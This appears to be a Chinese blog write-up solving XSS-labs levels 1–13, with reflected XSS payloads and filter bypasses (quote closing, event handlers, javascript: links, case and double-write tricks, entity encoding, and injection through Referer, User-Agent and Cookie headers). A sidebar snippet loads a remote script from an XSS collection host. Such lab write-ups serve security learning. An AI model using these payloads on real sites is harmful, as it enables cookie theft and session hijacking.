XSS-labs 做题 1~13

WEB进阶 XSS题目(1-6) 第一关 (无过滤绕过) 第一关中,我们看到一个正常页面,通过对URL的解读我们可以发现我们传递的值为username 我们直接使用script标签尝试。 http://5166c8e9-70dc-4685-9af5-66d6dc3c5fef.node4.buuoj.cn:81/level1?username=<script>alert(1)</script> 很简单的就注入成功了。 第二关(符号过滤) 第二关传递值并没有变化,我们继续尝试使用第一关的语句,发现压根就没有回显。 . 阅读详情

XSS-labs 做题 1~13

先了解一下 JavaScript 的几种常用弹窗函数

alert()

是最常用的方法,引发的弹窗只有一个确定按钮,弹窗内容可以是变量也可以是字符串。
alert() 无返回值。

confirm()

对比 alert 函数,比“确定”多了一个“取消”的按钮。有一个返回值,点击确定返回 true ,取消返回 false 。

prompt()

与 confirm 相比,多了一个输入框。
有返回值,按确定,返回值是语句的变量或字符串内容,按取消返回值是 null 。

XSS注入一般语句:

<script>alert("xss")</script>       // 弹出引号内的字符
<script>alert(document.cookie)</script>           // 获取 cookie

XSS-labs

在这里插入图片描述

——

level1

在这里插入图片描述
页面除了一张图片,还显示了 payload 的长度。
可以看到 payload 是从 url 中输入,是 get 请求。
直接尝试经典语句:

?name=<script>alert("xss")</script>

成功执行语句
在这里插入图片描述
——
——

level2

有一个输入框,输入框中的内容会在 url 的参数的值中,同样是 get 请求。
先尝试经典语句,但是无法执行。
在这里插入图片描述
F12 查看源代码,可以看到语句放在了 input 标签中,成为了 value 的值,并且在引号内。
在这里插入图片描述

那就在语句前先把标签和引号闭合。
构造语句:

"><script>alert("xss")</script>

成功执行。

——
——

level3

同样先尝试经典语句,无法执行。
在这里插入图片描述
从源代码中,看起来和前面的 level2 一样,
在这里插入图片描述

和第二题一样,尝试用 "> 闭合,但是还是不能执行语句。
并且引号和尖括号被转码了。
在这里插入图片描述

查看根目录的源代码得知,传入的语句通过 htmlspecialchars 函数进行 HTML 实体编码,即会过滤掉大于号和小于号。
在这里插入图片描述
不过 htmlspecialchars 存在一种开发手误,具体原因暂不了解,结果就是导致函数会转换双引号,不转换单引号。
所以,这里使用含单引号的语句:

' οnclick=alert(1) '

传入之后看起来没有什么反应,需要点击一下输入框,才会执行语句。
这个是 onclick 的属性,并且这条语句语句保存下来了,随时回到这个页面不用重新输入,点击输入框都会弹窗。
在这里插入图片描述
——
——

level 4

尝试语句:

<script>alert('XSS')</script>

F12 源码中显示把大于号、小于号给过滤掉了。
在这里插入图片描述
继续用前面的语句,毕竟 onclick 不需要大于号和小于号。
然后因为我们输入的内容是作为 value 的值,在双引号中,所以也需要把双引号给闭合绕过。
构造语句:

" οnclick=alert(1) "

点击输入框,出现弹窗。
在这里插入图片描述
——
——

level 5

尝试输入语句,发现两种语句中,都有一个单词被处理了,用下划线分开了。
在这里插入图片描述
在这里插入图片描述

看看源码。显示对 <script 和 on 进行了处理。那就不使用这两个函数。
在这里插入图片描述
使用 a 标签绕过,前后要先用 "> 和 <"闭合。
构造语句:

"><a href="javascript:alert(/xss/)">alert</a> <"

点击 alert 出现弹窗。
在这里插入图片描述
——
——

level 6

尝试普通的语句,看到有单词被处理了,和前面那题类似。
在这里插入图片描述
看看根目录的源码,对 <script 、on、src 、data 、href 进行了处理。
在这里插入图片描述
继续用前面的语句,
但是要绕过被处理的单词 ,测试后可以用大写绕过,任意大写被处理单词的任意个字母即可绕过。

"><a hRef="javascript:alert(/xss/)">alert</a> <"
" oNclick=alert(1) "

——
——

level 7

尝试简单的语句:

<script>alert('xss')</script>

可以看到大于号和小于号里的 script 直接被过滤为空了。
在这里插入图片描述
可以用双写绕过:

"><a hrhrefef="javascriscriptpt:alert(/xss/)">alert</a> <"
"> <scscriptript>alert('xss')</scriscriptpt> <"
" oonnclick=alert(1) "

看看源码。
在这里插入图片描述
相比前面的 level 6 ,这题多了一个 strtolower() 函数,会把内容统一小写,所以无法大小写绕过。

——
——

level 8

打开页面,输入的内容成为了一个超链接。
这里想到用语句:

javascript:alert(xss)

在这里插入图片描述
尝试注入一个一般语句:

"> <script>alert("xss")</script> <"

发现 script 和 双引号都被处理了。
在这里插入图片描述
看看源码,又多了几个过滤方式。
把用于闭合双引号和大于号、小于号都处理了。
在这里插入图片描述
这里可以用编码绕过。
把语句

 javascript:alert(/xss/) 

进行 Unicode 编码后为:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#47;&#120;&#115;&#115;&#47;&#41;

(测试过进行 HTML 实体编码也可行)
在这里插入图片描述
编码能够在页面解析并且后端看不到。

——
——

level 9

还是添加超链接的题型。
尝试和前面输入一样的payload :
javascript:alert(/xss/)

显示传的链接不合法。
在这里插入图片描述

看源码,与前面一题相比,后面多了一个 if 判断语句。
strpos() 函数用于查找某个字符在字符串中的位置,判断这个字符串是否存在。
这里返回给我们 “您的链接不合法?有没有!”,是因为字符串中没有字符串 ‘ http:// ’ 。
在这里插入图片描述

所以要在语句合适的位置插入字符串 http://
构造语句:

&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;'http://'&#x29;

解码后为:

javascript:alert('http://')

——
——

level 10

这题需要在 url 的参数里输入内容。
先尝试:

<script>alert('xss')</script>

没有什么反应。F12 看源码有三个隐藏的 标签。
本来语句中的大于号和小于号会被实体编码,但是我这里没有显示,不知道是不是浏览器的问题。
(本来 value 后面还有 ="" ,浏览器问题直接不见了,后面换了个浏览器就正常了)
在这里插入图片描述

看看源码。只有参数 t_sort 是会接收内容的。
在这里插入图片描述
大于号小于号用不了,构造语句:

&t_sort=" οnclick=alert(‘xss’) type=“text”

——
——

level 11

尝试输入前一题的 payload :

&t_sort=" οnclick=alert('xss') type="text"

没有反应,F12看源码,参数 t_sort 无法闭合了,并且比前面一题多了一个参数 t_ref 。
在这里插入图片描述
看看根目录源代码,与前面那题相比,多了一个 referer 请求,前面那题的 t_sort 被 HTML 实体编码了,无法用双引号闭合了。
在这里插入图片描述
用 hackbar 插件发送 referer 请求:

" οnclick=alert(‘xss’) type=“text”

成功执行语句。
在这里插入图片描述
或者也可以利用 burp 抓包修改 referer 信息。

——
——

level 12

直接先看源码吧,多了一个 t_ua 参数,根据前面的做题经验,这题就是通过这个参数来进行 xss 攻击了。
在这里插入图片描述
根目录看源码,有一个 user_agent 请求。
在这里插入图片描述
所以就是通过数据包中的 user_agent 请求发送语句了。
构造语句:

" οnclick=alert('xss') type="text"

在这里插入图片描述
——
——

level 13

F12 看源码,多了参数 t_cook ,这题盲猜就是通过 cookie 输入语句了。
在这里插入图片描述

看根目录源码。是 cookie 没错了。
在这里插入图片描述

根据前面的依葫芦画瓢。
构造语句:

user=" οnclick=alert('xss') type="text"

在这里插入图片描述

xss-labs靶场实战全通关详细过程(xss靶场详解) xss靶场一到二十关通关详细教程 阅读详情

相关推荐

XSS-labs详解

进入靶场点击图片,开始我们的XSS之旅!

ytdd66的博客 4034

XSS弹窗的三个函数

http://127.0.0.1/xss/level1.php?name= http://127.0.0.1/xss/level1.php?name= http://127.0.0.1/xss/level1.php?name=

W小哥 3735

XSS-labs(反射型XSS) 靶场 1-13关 通关

XSS是一种常见的Web安全漏洞,攻击者通过注入恶意脚本到网页中,当其他用户访问该页面时,恶意脚本会在其浏览器中执行,可能导致数据窃取、会话劫持等安全问题。

2302_78449782的博客 1383

XSS绕过技巧

XSS绕过技巧

weixin_52501704的博客 5358

XSS注入之xss-labs

(一)配置环境 (1)phpstudy 的安装 这里可以去看看我写的另外一个文章 SQL注入之sqli-labs_清丶酒孤欢ゞ的博客-优快云博客 这里面详细的讲了phpstudy的安装与搭建。 (2)xss-labs 的安装 mirrors / do0dl3 / xss-labs · GitCode 点击克隆里面的下载源码,随便选一个形式,然后将文件解压到 phpstudy 下的www 目录下 打开 phpstudy 中的 apache ,在浏览器中输入 127.0.0.1/xss-lab

m0_60716947的博客 3773

xss-labs1-13(记录一下)

a href='javascript:alert(1)'> 这个代码便是js中一个基本的伪协议写法,通过修改href的值(一般href后面都跟一个正常地址)将其修改成javascript:url(构造的东西) 在,执行的时候,会先运行href里的代码,而href里是个javascript,探测到javascript后,会先执行javascript后面的url,也就是构造的东西,如果这个构造的东西返回不为空,则会将构造的数据放到前台上。因此这里需要尝试使用其他语句来对其进行,可以尝试使用js中的伪协议。

weixin_74182283的博客 933

XSS漏洞

XSS(跨站脚本攻击)

BKN711的博客 1576

XSSlabs通关手册

XSSlabs通关手册详解

XSS Game靶场练习

虽然这里又用了innerHTML,但是过滤了括号会导致无法触发函数,所以不能像第一关那样直接用img标签。这里用双引号闭合,让jeff=aaa正常执行(aaa可以换成别的),然后在后面继续执行弹出1337的命令。用location把编码的符号变成字符串,然后再用括号的替代品如%2528和%2529来进行绕过。实际操作时可以看到,网页在加载完成后,经过两秒会再加载一次,这里就是在进行submit的提交。这一关依旧是get传参,只是多了一个submit提交事件,配合定时器在两秒后自动提交。

qq_64338246的博客 1567

CentOS7下用FreeRADIUS+AD实现802.1X认证完整指南(附华为交换机配置)

本文提供了在CentOS 7系统上部署FreeRADIUS并与Windows Active Directory集成,以实现企业级802.1X网络认证的完整实战指南。内容涵盖从架构原理、服务器配置(包括Kerberos、Samba Winbind集成)、FreeRADIUS核心设置与AD联动,到华为交换机的详细配置步骤。重点解决了生产环境中常见的高可用、动态VLAN下发及深度排错问题,为企业构建集中、安全的网络准入控制体系提供了经过验证的解决方案。

weixin_29273849的博客 406

从ORCAP-1589警告看Cadence ORCAD的DRC设置:如何避免‘网络别名’引发的潜在短路风险

本文深入解析Cadence ORCAD中ORCAP-1589警告的深层含义,探讨网络别名可能引发的短路风险及DRC设置优化方案。通过分析网络别名的设计意图、DRC规则配置及最佳实践,帮助工程师有效规避设计风险,提升电路设计的可靠性和规范性。

weixin_34194829的博客 297

xss-labs通关大合集

xss-labs 文章所用的xss-labs靶场的项目地址:https://github.com/do0dl3/xss-labs 然后开始通关 level1 仔细观察三处箭头,可以发现它是向服务器提交了一个name参数,值为“test”,从页面 回显来看,将neme参数的值显示在了页面上,并且显示了name参数值的字符长度 接下来,查看源码 从这里我们可以看到它将name的参数值,插入到了<h2> </h2>标签之间 那么 就很明显,这一关主要就是考察反射型xss 但是由于不

wo41ge的博客 3万+

树莓派+STM32+激光雷达:大学生工训赛智能物流小车全栈开发实录(附避坑指南)

本文详细记录了基于树莓派、STM32和激光雷达的智能物流小车全栈开发过程。文章从系统架构设计、硬件集成、软件框架搭建到机械臂控制与视觉辅助定位,系统阐述了如何构建一个完整的机器人系统,并分享了在电源管理、通信延迟、里程计误差等关键环节的实战避坑指南,为嵌入式与机器人开发提供了宝贵经验。

kotlin6android的博客 748

xss-labs第1~13关

文章目录伪重点第1关第2关第3关第4关第5关第6关第7关第8关第9关第10关第11关第12关第13关 伪重点 <script>alert(1);</script> //直接嵌入script <script src=https://xsspt.com/MQzN0Z></script> //从远程嵌入script <input name=keyword value="" onmouseover="alert(1)"> //通过事件属性值传入scr

这是笔者初学时所做的笔记,有错误的地方太多了,有些结论也只是笔者的一家之言。请自行判断 3346

【C++】auto关键字(C++11,超详细解析,小白必看系列)

本文详细解析了C++中的“auto”关键字,介绍了其定义、基本用法、限制和高级用法,特别是与范围for循环和Lambda表达式结合的应用。

m0_73494049的博客 6万+

算法 A 求稳健平均值和稳健标准差

文章目录算法原理代码 算法原理 算法 A 来自 GB/T 6379.5。应用此算法计算得到数据平均值和标准差的稳健值。稳健性是估计算法的特点,而不是其产生的估计值的特点,因此严格来说,称由此算法计算的平均值和标准差是稳健的是不确切的。然而,为避免使用繁琐的术语,“稳健均值”和“稳健标准差”应理解为利用稳健算法计算的总体均值和总体标准差的均值估计。 设数据为 xi,i∈(1,2,⋯ ,n)x_i, i\in(1,2,\cdots,n)xi​,i∈(1,2,⋯,n),记稳健平均值为 x∗,s∗x^*, s^*x

zhuo木鸟的博客 9254

xss-labs-master靶场速通教学(1-13)

这个靶场比较基础,主要就是一些简单的防御规则,我们可以使用大小写、双写、伪协议、编码都能解决。练好这个靶场之后可以去试试xss.haozi.me靶场,见见更多的类型。

m0_69151365的博客 1852

MT4-EA自动化交易研究笔记(2022-04-22)

自从接触到mt4的EA自动化交易,更让我这个10多年的老程序员看到了曙光,目前来看也确实出了一点成果,只是是否能稳定盈利有待时间的考验,所以开此专栏,一来做做记录与分析,更好的优化我的EA,二来也希望能与更多的高手交流,以完善我的交易系统

t35254056的博客 2291

XSS LABS - Level 13 过关思路

它提供了一系列快捷工具和功能,可以帮助用户执行各种网络攻击和测试,包括 XSS、SQL 注入、CSRF、XXE、路径穿越等漏洞,以下是 HackBar 插件的一些主要特点和功能:自定义请求发送:HackBar 允许用户自定义 HTTP 请求,并可以通过插件直接发送这些请求。用户可以手动构造 GET 和 POST 请求,并添加自定义的 HTTP 头部、参数等信息。既然,回显点清楚了,那么下面就是使用工具修改 Cookie 值,重新发送请求了。,cook,联想一下,

Blue17 の 小窝 2409

matinal:SAP ABAP 关于sftp的发送接收源代码

如果您将目标系统的凭据存储在该 RFC 连接中,您可以安排程序并将其作为后台作业运行:凭据将从 SM59 配置中获取,并且在文件传输期间不会提示您输入它们。这尤其适用于安全问题:您有责任为您的编码添加安全功能,并相应地配置您的系统(例如,保护您的系统免受病毒侵害)。注意:在创建自己的程序时,请特别注意示例代码中以“@CUSTOMER”开头的注释,因为您需要实现自己的逻辑。本说明为您提供示例编码以支持您创建自己的程序。在 STRUST 事务中,您维护了一个 PSE 并导入了您要发送的文件的最终收件人的证书。

matinal 當冬夜漸暖 。公众号:matinal 1333

2024全国村级行政边界数据

五级行政区划:村边界数据产品涵盖五级行政区划:(一级行政区)省级行政区共31个其中:(台湾、香港、澳门除外);(二级行政区)地级行政区共334个其中:7个地区、3个盟、30个自治州、294个地级市;(三级行政区)县级行政区共2851个其中:1355个县、117个自治县、49个旗、3个自治旗、363个县级市、962个市辖区、1个林区、1个特区;(四级行政区)乡级行政区共40497个其中:11626个乡、1034个民族乡、20117个镇、7566个街道、151个苏木、1个民族苏木、2个县辖区公所;

J_Giser的博客 3232

Xss-labs闯关总结

文章目录前言:Level 1 无过滤机制查看后台源码:通关代码:Level 2 闭合标签查看后台源码:通关代码:Level 3 单引号闭合 + 添加事件查看后台源码:通关代码:Level 4 双引号闭合 + 添加事件查看后台源码:通关代码:Level 5 新建标签查看后台源码:通关代码:Level 6 大小写绕过查看后台源码:通关代码:Level 7 双写绕过查看后台源码:通关代码:Level 8 编码绕过查看后台源码:通关代码:Level 9 检测关键字查看后台源码:通关代码:Level 10 隐藏信息查

未完成的歌~的博客 9010

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料,已经经过了本人的筛选和整理,希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助!

xss-labs搭建及通关攻略

xss-labs搭建 (1)首先当然是需要phpstudy的环境,所以要先下载安装phpstudy。 (2)然后到github的网址中下载源码的压缩包。 下载链接:GitHub - do0dl3/xss-labs: xss 跨站漏洞平台 (3)下载后解压缩到phpstudy目录下的WWW子文件夹中,把压缩包的名字改成xss-labs。 (4)然后在输入url HTTPS://127.0.0.1/xss-labs/就可以访问靶场。 xss-labs通关攻略 level...

K_ShenH的博客 1万+

文档:亲测可用解决vnc灰屏,黑屏,鼠标大黑叉情况

主要解决vnc-viewer灰屏,黑屏,鼠标大黑叉等现象,详细见文档。

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

XSS—xss-labs靶场通关

xss-labs靶场通关详解

qq_62987084的博客 1295

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

XSS-labs(1~16)通关攻略

安装,安装压缩包。

m0_74381003的博客 1036

XSS-labs通关

下载地址:https://github.com/do0dl3/xss-labs。

lubai60060的博客 1319
上一篇: Bugku 模板注入做题
下一篇: 利用虚拟机复现漏洞 “永恒之蓝”
Goodric
博客等级 码龄6年 792粉丝 110原创
评论 3
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Goodric

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值